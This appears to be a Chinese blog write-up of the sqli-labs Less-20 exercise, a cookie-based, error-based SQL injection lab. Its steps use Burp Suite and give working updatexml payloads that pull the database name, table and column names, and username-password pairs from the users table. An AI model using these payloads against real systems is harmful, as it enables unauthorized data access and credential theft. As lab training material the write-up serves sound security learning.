POST方式,基于报错的cookie注入
1、页面分析
登陆成功后,页面会显示cookie信息,判断为登陆成功后,在cookie处存在注入点。
Less-20 POST-Cookie injections-uagent field-error based

2、注入点分析
用burpsuit 拦截,放行2次后,cookie处出现uname信息
Less-20 POST-Cookie injections-uagent field-error based

将报文发送到repeater后,在uname=admin处加上单引号,send后返回报错信息
Less-20 POST-Cookie injections-uagent field-error based
Less-20 POST-Cookie injections-uagent field-error based

可判断此处存在注入点。

3、获取数据库信息

3.1获取数据库名

’ or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
Less-20 POST-Cookie injections-uagent field-error based

3.2获取表名
’ or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)#
Less-20 POST-Cookie injections-uagent field-error based

3.3 获取表的字段

’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e),1)#
Less-20 POST-Cookie injections-uagent field-error based

’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 5,1),0x7e),1)#
Less-20 POST-Cookie injections-uagent field-error based

3.4 获取username, password数据
’ or updatexml(1,concat(0x7e,(SELECT concat(username,’|’,password) from users limit 4,1),0x7e),1)#

Less-20 POST-Cookie injections-uagent field-error based

相关文章:

  • 2021-09-06
  • 2021-08-17
  • 2022-03-02
  • 2021-10-01
  • 2021-08-24
  • 2022-01-08
  • 2021-10-30
  • 2021-09-15
猜你喜欢
  • 2021-10-23
  • 2021-08-08
  • 2021-10-22
  • 2021-04-29
  • 2021-04-20
  • 2021-11-02
  • 2021-09-20
相关资源
相似解决方案